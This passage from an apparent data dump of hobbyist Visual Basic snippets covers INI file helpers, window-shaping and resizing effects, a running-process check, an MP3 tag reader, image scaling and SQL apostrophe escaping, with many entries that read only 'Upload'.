INIFileLoc)\nIf Worked = 0 Then\n GetINI = \"\"\nElse\n GetINI = Left(RetVal, InStr(RetVal, Chr(0)) - 1)\nEnd If\nEnd Function\nFunction AddToINI(ByVal INIFileLoc As String, ByVal Section As String, ByVal Key As String, ByVal Value As String)\n'This Function adds a Section, Key, or Value to an INI file\n'Also used to CREATE NEW INI FILE\n'INIFileLoc = The location of the INI File (ex. \"C:\\Windows\\INIFile.ini\")\n'Section = The name of the referred to Section or newly created Section (ex. \"New Section 1\")\n'Key = The name of the referred to Key or newly created Key (ex. \"New Key 1\")\n'Value = The value to hold in the given Key (ex. \"New Info Held\")\n'Checking to see if the INI File specified exists\nIf Dir(INIFileLoc) = \"\" Then MsgBox \"File Not Found: \" & INIFileLoc & vbCrLf & \"Please refer to code in function 'AddToINI'\", vbExclamation, \"INI File Not Found\": Exit Function\n'If INI File exists then proceed to Add the information to the INI File\nWritePrivateProfileString Section, Key, Value, INIFileLoc\nEnd Function\nFunction DeleteSection(ByVal INIFileLoc As String, ByVal Section As String)\n'This Function Deletes a specified Section from an INI file\n'INIFileLoc = The location of the INI File (ex. \"C:\\Windows\\INIFile.ini\")\n'Section = The name of the Section you wish to remove (ex. \"Section Number 1\")\n'Checking to see if the INI File specified exists\nIf Dir(INIFileLoc) = \"\" Then MsgBox \"File Not Found: \" & INIFileLoc & vbCrLf & \"Please refer to code in function 'DeleteSection'\", vbExclamation, \"INI File Not Found\": Exit Function\n'If INI File exists then proceed to delete Section\nWritePrivateProfileString Section, vbNullString, vbNullString, INIFileLoc\n'NOTE: vbNullString is the coding in which to delete a Section, or Key\nEnd Function\nFunction DeleteKey(ByVal INIFileLoc As String, ByVal Section As String, ByVal Key As String)\n'This Function Deletes a Key in a specified Section from an INI file\n'INIFileLoc = The location of the INI File (ex. \"C:\\Windows\\INIFile.ini\")\n'Section = The name of the Section in which the Key to be deleted is held (ex. \"Section Number 1\")\n'Key = The name of the Key you wish to remove (ex. \"Key Number 5\")\n'Checking to see if the INI File specified exists\nIf Dir(INIFileLoc) = \"\" Then MsgBox \"File Not Found: \" & INIFileLoc & vbCrLf & \"Please refer to code in function 'DeleteKey'\", vbExclamation, \"INI File Not Found\": Exit Function\n'If INI File exists then proceed to delete Key\nWritePrivateProfileString Section, Key, vbNullString, INIFileLoc\n'NOTE: vbNullString is the coding in which to delete a Section, or Key\nEnd Function\nFunction DeleteKeyValue(ByVal INIFileLoc As String, ByVal Section As String, ByVal Key As String)\n'This Function deletes the value in a specified Key from an INI file\n'INIFileLoc = The location of the INI File (ex. \"C:\\Windows\\INIFile.ini\")\n'Section = The name of the Section in which the Key is held (ex. \"Section Number 1\")\n'Key = The name of the Key you wish to remove the value from (ex. \"Key Number 5\")\n'Checking to see if the INI File specified exists\nIf Dir(INIFileLoc) = \"\" Then MsgBox \"File Not Found: \" & INIFileLoc & vbCrLf & \"Please refer to code in function 'DeleteKeyValue'\", vbExclamation, \"INI File Not Found\": Exit Function\n'If INI File exists then proceed to delete Key Value\nWritePrivateProfileString Section, Key, \"\", INIFileLoc\n' \"\" = is a short way of saying Nothing\nEnd Function\nFunction RenameSection()\n'Coming Soon\nEnd Function\nFunction RenameKey()\n'Coming Soon\nEnd Function"},{"WorldId":1,"id":5412,"LineNumber":1,"line":"Private Sub Form_KeyDown(KeyCode As Integer, Shift As Integer)\nUnload Me\nEnd Sub\nPrivate Sub Form_KeyPress(KeyAscii As Integer)\nUnload Me\nEnd Sub\nPrivate Sub Form_Load()\nForm1.BackColor = vbBlack\nForm1.BorderStyle = 0\nTimer1.Interval = 175\nEnd Sub\n\nPrivate Sub Timer1_Timer()\nht = RandomNum(Min, Max)\nwh = RandomNum(Min, Max)\nForm1.Move wh, ht\nForm1.Height = ht\nForm1.Width = wh\nForm1.Height = wh\nForm1.Width = ht\nEnd Sub\nPublic Function RandomNum(Min, Max) As Long\nRandomNum = Int((Max - Min + 9500) * Rnd + Min)\nEnd Function"},{"WorldId":1,"id":5421,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5428,"LineNumber":1,"line":"Dim frmHeight As Integer\nDim frmWidth As Integer\nPrivate Sub Form_Load()\nTimer1.Interval = 1\nfrmHeight = Form1.Height\nfrmWidth = Form1.Width\nForm1.Height = 100\nForm1.Width = 100\nEnd Sub\nPrivate Sub Timer1_Timer()\nWhile Form1.Height < frmHeight\nForm1.Height = Form1.Height + 8\nWend\nWhile Form1.Width < frmWidth\nForm1.Width = Form1.Width + 8\nWend\nTimer1.Enabled = False\nEnd Sub"},{"WorldId":1,"id":5429,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5435,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5438,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5443,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5448,"LineNumber":1,"line":"Option Explicit\nPrivate Type RECT\n Left As Long\n Top As Long\n Right As Long\n Bottom As Long\nEnd Type\n'API calls required for doing this cool stuff\nPrivate Declare Function BeginPath Lib \"gdi32\" (ByVal hdc As Long) As Long\nPrivate Declare Function TextOut Lib \"gdi32\" Alias \"TextOutA\" (ByVal hdc As Long, ByVal X As Long, ByVal Y As Long, ByVal lpString As String, ByVal nCount As Long) As Long\nPrivate Declare Function EndPath Lib \"gdi32\" (ByVal hdc As Long) As Long\nPrivate Declare Function PathToRegion Lib \"gdi32\" (ByVal hdc As Long) As Long\nPrivate Declare Function GetRgnBox Lib \"gdi32\" (ByVal hRgn As Long, lpRect As RECT) As Long\nPrivate Declare Function CreateRectRgnIndirect Lib \"gdi32\" (lpRect As RECT) As Long\nPrivate Declare Function CombineRgn Lib \"gdi32\" (ByVal hDestRgn As Long, ByVal hSrcRgn1 As Long, ByVal hSrcRgn2 As Long, ByVal nCombineMode As Long) As Long\nPrivate Declare Function DeleteObject Lib \"gdi32\" (ByVal hObject As Long) As Long\nPrivate Declare Function SetWindowRgn Lib \"user32\" (ByVal hWnd As Long, ByVal hRgn As Long, ByVal bRedraw As Boolean) As Long\nPrivate Declare Function ReleaseCapture Lib \"user32\" () As Long\nPrivate Declare Function SendMessage Lib \"user32\" Alias \"SendMessageA\" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long\nPrivate Const WM_NCLBUTTONDOWN = &HA1\nPrivate Const HTCAPTION = 2\nPrivate Const RGN_AND = 1\nDim Color1 As Long\nDim Color2 As Long\nPrivate Function GetTextRgn(Font As String, Size As Integer, Text As String) As Long\nMe.Font = Font\nMe.FontSize = Size\n Dim hRgn1 As Long, hRgn2 As Long\n Dim rct As RECT\n BeginPath hdc\n TextOut hdc, 10, 10, Text, Len(Text)\n EndPath hdc\n hRgn1 = PathToRegion(hdc)\n GetRgnBox hRgn1, rct\n hRgn2 = CreateRectRgnIndirect(rct)\n CombineRgn hRgn2, hRgn2, hRgn1, RGN_AND\n DeleteObject hRgn1\n GetTextRgn = hRgn2\nEnd Function\nPrivate Sub GradateColors(Colors() As Long, ByVal Color1 As Long, ByVal Color2 As Long)\n On Error Resume Next\n Dim i As Integer\n Dim dblR As Double, dblG As Double, dblB As Double\n Dim addR As Double, addG As Double, addB As Double\n Dim bckR As Double, bckG As Double, bckB As Double\n dblR = CDbl(Color1 And &HFF)\n dblG = CDbl(Color1 And &HFF00&) / 255\n dblB = CDbl(Color1 And &HFF0000) / &HFF00&\n bckR = CDbl(Color2 And &HFF&)\n bckG = CDbl(Color2 And &HFF00&) / 255\n bckB = CDbl(Color2 And &HFF0000) / &HFF00&\n addR = (bckR - dblR) / UBound(Colors)\n addG = (bckG - dblG) / UBound(Colors)\n addB = (bckB - dblB) / UBound(Colors)\n \n For i = 0 To UBound(Colors)\n dblR = dblR + addR\n dblG = dblG + addG\n dblB = dblB + addB\n If dblR > 255 Then dblR = 255\n If dblG > 255 Then dblG = 255\n If dblB > 255 Then dblB = 255\n If dblR < 0 Then dblR = 0\n If dblG < 0 Then dblG = 0\n If dblG < 0 Then dblB = 0\n Colors(i) = RGB(dblR, dblG, dblB)\n Next\nEnd Sub\nPrivate Sub Form_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)\n'these are for moving the form without its titlebar\n ReleaseCapture \n SendMessage hWnd, WM_NCLBUTTONDOWN, HTCAPTION, ByVal 0&\nEnd Sub\nPrivate Sub Form_Paint()\n Dim Colors() As Long\n Dim Iter As Long\n Const Banding = 8\n ReDim Colors(ScaleHeight \\ Banding) As Long\n GradateColors Colors(), Color1, Color2\n For Iter = 0 To ScaleHeight Step Banding\n Line (0, Iter)-(ScaleWidth, Iter + Banding), Colors(Iter \\ Banding), BF\n Next\nEnd Sub\nPrivate Sub Form_Load()\n Dim hRgn As Long\n hRgn = GetTextRgn(\"Wingdings\", 100, \"J\" & \"<\") 'change the values: Font, Size (font), Text\n SetWindowRgn hWnd, hRgn, 1\n Color1 = vbBlack 'set this colours for gradient effect (use vb colour constants for easy use)\n Color2 = vbBlue\n Me.Refresh\nEnd Sub"},{"WorldId":1,"id":5449,"LineNumber":1,"line":"'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''\n' IsProcessRunning\n'\n' Date: 07/13/1999\n' Comapany: WEI \n' Web Site: http://www.winkenterprises.com\n' Author: James N.Wink\n' Email: james@winkenterprises.com\n'\n' Description: Used to determine if a process is running.\n'\n' Input: EXEName - String EXE name of the Process\n'\n' Output: IsProcessRunning - Boolean Returns True if running\n'\n'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''\nPublic Function IsProcessRunning(ByVal EXEName As String) As Boolean\n 'Used if Win 95 is detected\n Dim booResult As Boolean\n Dim lngLength As Long\n Dim lngProcessID As Long\n Dim strProcessName As String\n Dim lngSnapHwnd As Long\n Dim udtProcEntry As PROCESSENTRY32\n 'Used if NT is detected\n Dim lngCBSize As Long 'Specifies the size, in bytes, of the lpidProcess array\n Dim lngCBSizeReturned As Long 'Receives the number of bytes returned\n Dim lngNumElements As Long\n Dim lngProcessIDs() As Long\n Dim lngCBSize2 As Long\n Dim lngModules(1 To 200) As Long\n Dim lngReturn As Long\n Dim strModuleName As String\n Dim lngSize As Long\n Dim lngHwndProcess As Long\n Dim lngLoop As Long\n 'Turn on Error handler\n On Error GoTo IsProcessRunning_Error\n \n booResult = False\n \n EXEName = UCase$(Trim$(EXEName)) \n lngLength = Len(EXEName)\n \nSelect Case getVersion()\n Case WIN95_System_Found 'Windows 95/98\n 'Get SnapShot of Threads\n lngSnapHwnd = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)\n 'Check to see if SnapShot was made\n If lngSnapHwnd = hNull Then GoTo IsProcessRunning_Exit\n 'Set Size in UDT, must be done, prior to calling API\n udtProcEntry.dwSize = Len(udtProcEntry)\n ' Get First Process\n lngProcessID = Process32First(lngSnapHwnd, udtProcEntry)\n Do While lngProcessID\n 'Get Full Path Process Name\n strProcessName = StrZToStr(udtProcEntry.szExeFile)\n 'Check for Matching Upper case result\n \n strProcessName = Ucase$(Trim$(strProcessName))\n If Right$(strProcessName, lngLength) = EXEName Then\n 'Found\n booResult = True\n GoTo IsProcessRunning_Exit\n End If\n 'Not found, get next Process\n lngProcessID = Process32Next(lngSnapHwnd, udtProcEntry)\n Loop\n Case WINNT_System_Found 'Windows NT\n 'Get the array containing the process id's for each process objec\n ' t\n 'Set Default Size\n lngCBSize = 8 ' Really needs to be 16, but Loop will increment prior to calling API\n lngCBSizeReturned = 96\n 'Check to see if Process ID's were returned\n Do While lngCBSize <= lngCBSizeReturned\n 'Increment Size\n lngCBSize = lngCBSize * 2\n 'Allocate Memory for Array\n ReDim lngProcessIDs(lngCBSize / 4) As Long\n 'Get Process ID's\n lngReturn = EnumProcesses(lngProcessIDs(1), lngCBSize, lngCBSizeReturned)\n Loop\n 'Count number of processes returned\n lngNumElements = lngCBSizeReturned / 4\n 'Loop thru each process\n For lngLoop = 1 To lngNumElements\n 'Get a handle to the Process and Open\n lngHwndProcess = OpenProcess(PROCESS_QUERY_INFORMATION _\n Or PROCESS_VM_READ, 0, lngProcessIDs(lngLoop))\n 'Check to see if Process handle was returned\n If lngHwndProcess <> 0 Then\n 'Get an array of the module handles for the specified process\n lngReturn = EnumProcessModules(lngHwndProcess, lngModules(1), 200, lngCBSize2)\n 'If the Module Array is retrieved, Get the ModuleFileName\n If lngReturn <> 0 Then\n 'Buffer with spaces first to allocate memory for byte array\n strModuleName = Space(MAX_PATH)\n 'Must be set prior to calling API\n lngSize = 500\n 'Get Process Name\n lngReturn = GetModuleFileNameExA(lngHwndProcess, lngModules(1), _\n strModuleName, lngSize)\n 'Remove trailing spaces\n strProcessName = Left(strModuleName, lngReturn)\n 'Check for Matching Upper case result\n strProcessName = UCase$(Trim$(strProcessName))\n If Right$(strProcessName, lngLength) = EXEName Then\n 'Found\n booResult = True\n GoTo IsProcessRunning_Exit\n End If\n End If\n End If\n 'Close the handle to this process\n lngReturn = CloseHandle(lngHwndProcess)\n Next\n End Select\nGoTo IsProcessRunning_Exit\nIsProcessRunning_Error:\nErr.Clear\nbooResult = False\nIsProcessRunning_Exit:\n'Turn off Error handler\nOn Error GoTo 0\nIsProcessRunning = booResult\nEnd Function\nPrivate Function getVersion() As Long\n \n Dim osinfo As OSVERSIONINFO\n Dim retvalue As Integer\n \n osinfo.dwOSVersionInfoSize = 148\n osinfo.szCSDVersion = Space$(128)\n retvalue = GetVersionExA(osinfo)\n getVersion = osinfo.dwPlatformId\nEnd Function\nPrivate Function StrZToStr(s As String) As String\n StrZToStr = Left$(s, Len(s) - 1)\nEnd Function\n"},{"WorldId":1,"id":5453,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5468,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5469,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5474,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5479,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5494,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5495,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5499,"LineNumber":1,"line":"Function FindWindowByTitle(Title As String)\nDim a, b, Caption\n a = getwindow(Form1.hWnd, GW_OWNER)\n Caption = GetCaption(a)\n If InStr(1, LCase(Caption), LCase(Title)) <> 0 Then\n FindWindowByTitle = b\n Exit Function\n End If\n b = a\n Do While b <> 0: DoEvents\n b = getwindow(b, GW_HWNDNEXT)\n Caption = GetCaption(b)\n If InStr(1, LCase(Caption), LCase(Title)) <> 0 Then\n FindWindowByTitle = b\n Exit Do\n Exit Function\n End If\n Loop\nEnd Function\nFunction GetCaption(hWnd)\n dim hwndLength%, hwndTitle$, a%\n hwndLength% = GetWindowTextLength(hWnd)\n hwndTitle$ = String$(hwndLength%, 0)\n a% = GetWindowText(hWnd, hwndTitle$, (hwndLength% + 1))\n GetCaption = hwndTitle$\nEnd Function\nSub KillWin(Title As String)\nDim a, hWnd\n hWnd = FindWindowByTitle(Title)\n a = sendmessagebystring(hWnd, WM_CLOSE, 0, 0)\nEnd Sub\nUse KillWin to close the window."},{"WorldId":1,"id":5501,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5505,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5508,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5516,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5517,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5520,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5522,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5533,"LineNumber":1,"line":"Option Explicit\n'' This fixes some bugs in MP3 Snatch and provides an method of \"generating\"\n'' artist/title/album information based solely on the filename (for those files\n'' without ID3 tags.)\n'' John Lambert\n'' jrl7@po.cwru.edu\n'' http://home.cwru.edu/~jrl7/\n'' Version 1.0\n' Original Title: MP3 Snatch\n' Author: Leigh Bowers\n' WWW: http://www.esheep.freeserve.co.uk/compulsion/index.html\n' Email: compulsion@esheep.freeserve.co.uk\nPrivate mvarFilename As String\nPrivate Type Info\n sTitle As String\n sArtist As String\n sAlbum As String\n sComment As String\n sYear As String\n sGenre As String\nEnd Type\nPrivate MP3Info As Info\nPublic Property Get Filename() As String\n Filename = mvarFilename\nEnd Property\nPrivate Function IsValidFile(ByVal sFilename) As Boolean\n Dim bOk As Boolean\n ' make sure file exists\n bOk = CBool(Dir(sFilename, vbHidden) <> \"\")\n \n Dim aExtensions, ext\n aExtensions = Array(\".mp3\", \".mp2\", \".mp1\")\n Dim bOkayExtension As Boolean\n bOkayExtension = False\n If bOk Then\n For Each ext In aExtensions\n If InStr(1, sFilename, ext, vbTextCompare) > 0 Then\n bOkayExtension = True\n End If\n Next 'ext\n End If\n \n IsValidFile = bOk And bOkayExtension\nEnd Function\nPublic Property Let Filename(ByVal sPassFilename As String)\n Dim iFreefile As Integer\n Dim lFilePos As Long\n Dim sData As String * 128\n \n Dim sGenre() As String\n ' Genre\n Const sGenreMatrix As String = \"Blues|Classic Rock|Country|Dance|Disco|Funk|Grunge|\" + _\n \"Hip-Hop|Jazz|Metal|New Age|Oldies|Other|Pop|R&B|Rap|Reggae|Rock|Techno|\" + _\n \"Industrial|Alternative|Ska|Death Metal|Pranks|Soundtrack|Euro-Techno|\" + _\n \"Ambient|Trip Hop|Vocal|Jazz+Funk|Fusion|Trance|Classical|Instrumental|Acid|\" + _\n \"House|Game|Sound Clip|Gospel|Noise|Alt. Rock|Bass|Soul|Punk|Space|Meditative|\" + _\n \"Instrumental Pop|Instrumental Rock|Ethnic|Gothic|Darkwave|Techno-Industrial|Electronic|\" + _\n \"Pop-Folk|Eurodance|Dream|Southern Rock|Comedy|Cult|Gangsta Rap|Top 40|Christian Rap|\" + _\n \"Pop/Punk|Jungle|Native American|Cabaret|New Wave|Phychedelic|Rave|Showtunes|Trailer|\" + _\n \"Lo-Fi|Tribal|Acid Punk|Acid Jazz|Polka|Retro|Musical|Rock & Roll|Hard Rock|Folk|\" + _\n \"Folk/Rock|National Folk|Swing|Fast-Fusion|Bebob|Latin|Revival|Celtic|Blue Grass|\" + _\n \"Avantegarde|Gothic Rock|Progressive Rock|Psychedelic Rock|Symphonic Rock|Slow Rock|\" + _\n \"Big Band|Chorus|Easy Listening|Acoustic|Humour|Speech|Chanson|Opera|Chamber Music|\" + _\n \"Sonata|Symphony|Booty Bass|Primus|Porn Groove|Satire|Slow Jam|Club|Tango|Samba|Folklore|\" + _\n \"Ballad|power Ballad|Rhythmic Soul|Freestyle|Duet|Punk Rock|Drum Solo|A Capella|Euro-House|\" + _\n \"Dance Hall|Goa|Drum & Bass|Club-House|Hardcore|Terror|indie|Brit Pop|Negerpunk|Polsk Punk|\" + _\n \"Beat|Christian Gangsta Rap|Heavy Metal|Black Metal|Crossover|Comteporary Christian|\" + _\n \"Christian Rock|Merengue|Salsa|Trash Metal|Anime|JPop|Synth Pop\"\n ' Build the Genre array (VB6+ only)\n sGenre = Split(sGenreMatrix, \"|\")\n ' Store the filename (for \"Get Filename\" property)\n mvarFilename = sPassFilename\n ' Clear the info variables\n \n If Not IsValidFile(sPassFilename) Then ' bug fix\n Exit Property\n End If\n \n MP3Info.sTitle = \"\"\n MP3Info.sArtist = \"\"\n MP3Info.sAlbum = \"\"\n MP3Info.sYear = \"\"\n MP3Info.sComment = \"\"\n ' Ensure the MP3 file exists\n ' Retrieve the info data from the MP3\n iFreefile = FreeFile\n lFilePos = FileLen(mvarFilename) - 127\n If lFilePos > 0 Then ' bug fix\n Open mvarFilename For Binary As #iFreefile\n Get #iFreefile, lFilePos, sData\n Close #iFreefile\n End If\n \n ' Populate the info variables\n If Left(sData, 3) = \"TAG\" Then\n MP3Info.sTitle = Mid(sData, 4, 30)\n MP3Info.sArtist = Mid(sData, 34, 30)\n MP3Info.sAlbum = Mid(sData, 64, 30)\n MP3Info.sYear = Mid(sData, 94, 4)\n MP3Info.sComment = Mid(sData, 98, 30)\n Dim lGenre\n lGenre = Asc(Mid(sData, 128, 1))\n If lGenre <= UBound(sGenre) Then\n MP3Info.sGenre = sGenre(lGenre)\n Else\n MP3Info.sGenre = \"\"\n End If\n Else\n \n MP3Info = GetInfo(mvarFilename)\n End If\nEnd Property\n'' Try to get something meaningful out of the filename\nPrivate Function GetInfo(ByVal sFilename) As Info\n Dim i As Info\n GetInfo = i\n Dim s\n s = sFilename\n If InStrRev(s, \"\\\") > 0 Then 'it's a full path\n s = Mid(s, InStrRev(s, \"\\\") + 1)\n End If\n \n 'drop extension\n s = Left(s, InStrRev(s, \".\", , vbTextCompare) - 1)\n s = Replace(Trim(s), \" \", \" \")\n s = Trim(s)\n \n If CountItems(s, \" \") < 1 Then\n i.sTitle = Replace(s, \"_\", \" \")\n GetInfo = i\n Exit Function\n End If\n \n s = Trim(Replace(s, \"_\", \" \"))\n \n If Left(s, 1) = \"(\" And CountItems(s, \"-\") < 3 Then\n i.sArtist = Mid(s, 2, InStr(s, \")\") - 2)\n s = Trim(Mid(s, InStr(s, \")\") + 1))\n If Left(s, 1) = \"-\" Then 'grab title\n i.sTitle = Trim(Mid(s, 2))\n Else 'grab title anyway\n If InStr(s, \"-\") > 0 Then\n i.sAlbum = Mid(s, InStr(s, \"-\") + 1)\n i.sTitle = Left(s, InStr(s, \"-\") - 1)\n Else\n i.sTitle = Trim(s)\n End If\n End If\n Else\n Dim aThings\n Dim l\n aThings = Split(s, \"- \")\n For l = 0 To UBound(aThings)\n If Not IsNumeric(aThings(l)) Then\n If i.sArtist = \"\" Then\n i.sArtist = aThings(l)\n Else\n If IsNumeric(aThings(l - 1)) Then ' title\n If i.sTitle = \"\" Then\n i.sTitle = aThings(l)\n End If\n ElseIf i.sAlbum = \"\" Then\n i.sAlbum = aThings(l)\n End If\n End If\n End If\n Next ' i\n \n End If\n \n i.sArtist = Replace(Replace(i.sArtist, \"(\", \"\"), \")\", \"\")\n \n If Left(s, 1) <> \"(\" And i.sTitle = \"\" And (InStr(sFilename, \"\\\") <> InStrRev(sFilename, \"\\\")) Then\n ' recurse\n GetInfo = GetInfo(FixDir(sFilename))\n Else\n GetInfo = i\n End If\nEnd Function\nPrivate Function CountItems(s, sToCount)\n Dim a\n a = Split(s, sToCount)\n If UBound(a) = -1 Then\n CountItems = 0\n Else\n CountItems = UBound(a) - LBound(a)\n End If\nEnd Function\nPrivate Function FixDir(sFullpath)\n Dim s1, s2\n s1 = Trim(Left(sFullpath, InStrRev(sFullpath, \"\\\") - 1))\n s2 = Trim(Mid(sFullpath, InStrRev(sFullpath, \"\\\") + 1))\n FixDir = s1 & \" - \" & s2\nEnd Function\nPublic Property Get Title() As String\n Title = Trim(MP3Info.sTitle)\nEnd Property\nPublic Property Get Artist() As String\n Artist = Trim(MP3Info.sArtist)\nEnd Property\nPublic Property Get Genre() As String\n Genre = Trim(MP3Info.sGenre)\nEnd Property\nPublic Property Get Album() As String\n Album = Trim(MP3Info.sAlbum)\nEnd Property\nPublic Property Get Year() As String\n Year = Trim(MP3Info.sYear)\nEnd Property\nPublic Property Get Comment() As String\n Comment = Trim(MP3Info.sComment)\nEnd Property\n"},{"WorldId":1,"id":5537,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5538,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5539,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5547,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5551,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5558,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5564,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5566,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5570,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5577,"LineNumber":1,"line":"'Start a new project\n'Add a new module and class module to your project\n'Add a picture box (with an Image control inside of it)to your form.\n'load an image into the image control\n \n'Put this code in the standard module: declare this..\nPublic SmartSize= new class1 ' SmartSize can be any name class1 the name of the module\n'paste the code below to the class module\n'the cushion variable will space the image away from the picture edge.\nPublic Sub LogicalSize(ContainerObj As Object, ImgObj As Object, ByVal Cushion As Integer)\nDim VertChg, HorzChg As Integer\nDim iRatio As Double\nDim ActualH, ActualW As Integer\nDim ContH, ContW As Integer\nOn Error GoTo LogicErr\nWith ImgObj 'hide picture while changing size\n .Visible = False\n .Stretch = False 'set actual size\nEnd With\nVertChg = 0: HorzChg = 0\nActualH = ImgObj.Height 'actual picture height\nActualW = ImgObj.Width 'actual picture width\nContH = ContainerObj.Height - Cushion 'set max. picture height\nContW = ContainerObj.Width - Cushion 'set max. picture width\nCenterCTL ContainerObj, ImgObj 'center picture\nIf ImgObj.Top < Cushion Or ImgObj.Left < Cushion Then 'is picture larger than container\n If ActualH <> ActualW Then 'picture is not square\n If ActualH > ActualW Then 'height is greater\n iRatio = (ActualH / ActualW) 'get ratio between height and width\n HorzChg = 10 'scale down by 10 units per loop\n VertChg = CInt(Format(iRatio * 10, \"####\"))\n Else 'width is greater\n iRatio = (ActualW / ActualH) 'get ratio between height and width\n VertChg = 10 'scale down by 10 units per loop\n HorzChg = CInt(Format(iRatio * 10, \"####\")) 'round number\n End If\n Else 'picture is square\n VertChg = 10 'scale both height and width equally\n HorzChg = 10\n End If\n Do Until ActualH <= ContH And ActualW <= ContW\n ActualH = ActualH - VertChg 'scale height down\n ActualW = ActualW - HorzChg 'scale width down\n If ActualH < 100 Then\n ActualH = 100 'set min. picture height=100\n Exit Do\n ElseIf ActualW < 100 Then\n ActualW = 100 'set min. picture width=100\n Exit Do\n End If\n Loop\n \n With ImgObj 'set new height and width\n .Stretch = True\n .Height = ActualH\n .Width = ActualW\n End With\nEnd If\nCenterCTL ContainerObj, ImgObj 'center picture in container\nImgObj.Visible = True 'show picture\nExit Sub\nLogicErr:\nMsgBox \"An Error occured while rescaling this image. Image size maybe invalid.\", vbSystemModal + vbExclamation, \"Resize Error!\"\nEnd Sub\nPublic Sub CenterCTL(FRMObj As Object, OBJ As Control)\nWith OBJ\n .Top = (FRMObj.Height / 2) - (OBJ.Height / 2)\n .Left = (FRMObj.Width / 2) - (OBJ.Width / 2)\n .ZOrder\nEnd With\nEnd Sub\n'Call the Logical Size method like this\n'put this code anywhere, in button click, image click whereever you want\nSmartSize.LogicalSize Picture1, Image1, 100\n"},{"WorldId":1,"id":5578,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5581,"LineNumber":1,"line":"'open IE and default mail program with email address \nShell (\"explorer mailto: youremail@email.com\") \n'opens IE and navigates to a specified web site 'from your program \nShell (\"explorer http://www.yoursite.com\")"},{"WorldId":1,"id":5584,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5593,"LineNumber":1,"line":"Private Sub mnuCloseAll_Click()\n Screen.MousePointer = vbHourglass\n Do While Not (Me.ActiveForm Is Nothing) \n Unload Me.ActiveForm \n Loop \n Screen.MousePointer = vbDefault \nEnd Sub\n'Once the user clicks on that menu item, the MDI child forms will close.\n"},{"WorldId":1,"id":5594,"LineNumber":1,"line":"Public Function Apos2(strSQL As String) As String\n Dim F As Long, N As Long, Q As Long\n Dim O As String, P As String, A As String\n Q = -1\n For F = 1 To Len(strSQL)\n P = Mid(strSQL, F, 1)\n If P = \"'\" Or P = \"\"\"\" Then\n If Q > 0 Then\n O = O + \"'\" + A\n A = \"\"\n End If\n Q = Q + 1\n ElseIf P = \",\" Then\n O = O & A\n Q = -1\n A = \"\"\n End If\n If Q <= 0 Then\n O = O & P\n Else\n A = A & P\n End If\n Next\n Apos2 = O & A\nEnd Function\n\n\n24 Jan 00\nSome Alterations,\nand some documentation,\nThough F stays in the loop, for sentimental reasons\nPublic Function Apos3(strSQL As String) As String\n\n'F is the current position in the original string\n'lCountOfApos Counts the occurrences of apostrophes and quotes\n'lCharaterAtPositionF equals the Character at position F\n'If lCharaterAtPositionF is equal to a apostrophes or quote Then\n'If lCountOfApos grater than zero\n'Then add a additional apostrophe to sOutput along with sBuffer\n'sBuffer is a Buffer that is used to store characters after the Second\n'occurrence of a apostrophes or quote whilst not encountering a Comma, Quote or apostrophe\n'Clear as mud\n Dim F As Long, lCountOfApos As Long\n Dim sOutput As String, lCharaterAtPositionF As String, sBuffer As String\n lCountOfApos = -1\n For F = 1 To Len(strSQL)\n lCharaterAtPositionF = Mid(strSQL, F, 1)\n If lCharaterAtPositionF = \"'\" Or lCharaterAtPositionF = \"\"\"\" Then\n If lCountOfApos > 0 Then\n sOutput = sOutput + \"'\" + sBuffer\n sBuffer = \"\"\n End If\n lCountOfApos = lCountOfApos + 1\n End If\n \n If lCountOfApos <= 0 Then\n sOutput = sOutput & lCharaterAtPositionF\n Else\n sBuffer = sBuffer & lCharaterAtPositionF\n If lCharaterAtPositionF = \",\" Or Right(sBuffer, 5) = \" AND \" Or Right(sBuffer, 4) = \" OR \" Then\n \n sOutput = sOutput & sBuffer\n lCountOfApos = -1\n sBuffer = \"\"\n \n End If\n End If\n Next\n Apos3 = sOutput & sBuffer\nEnd Function\n\n"},{"WorldId":1,"id":5602,"LineNumber":1,"line":"Function Fix_Apostrophe(ByVal S As String) As String\n Dim i As Integer, ch As String, Ret As String\n If IsNull(S) Then Exit Function\n Ret = \"\"\n For i = 1 To Len(S)\n ch = Mid$(S, i, 1) ' the current charcater\n Ret = Ret & ch\n ' If the character is a single quote add a second one.\n If ch = \"'\" Then\n Ret = Ret & ch\n End If\n Next\n Fix_Apostrophe = Ret\nEnd 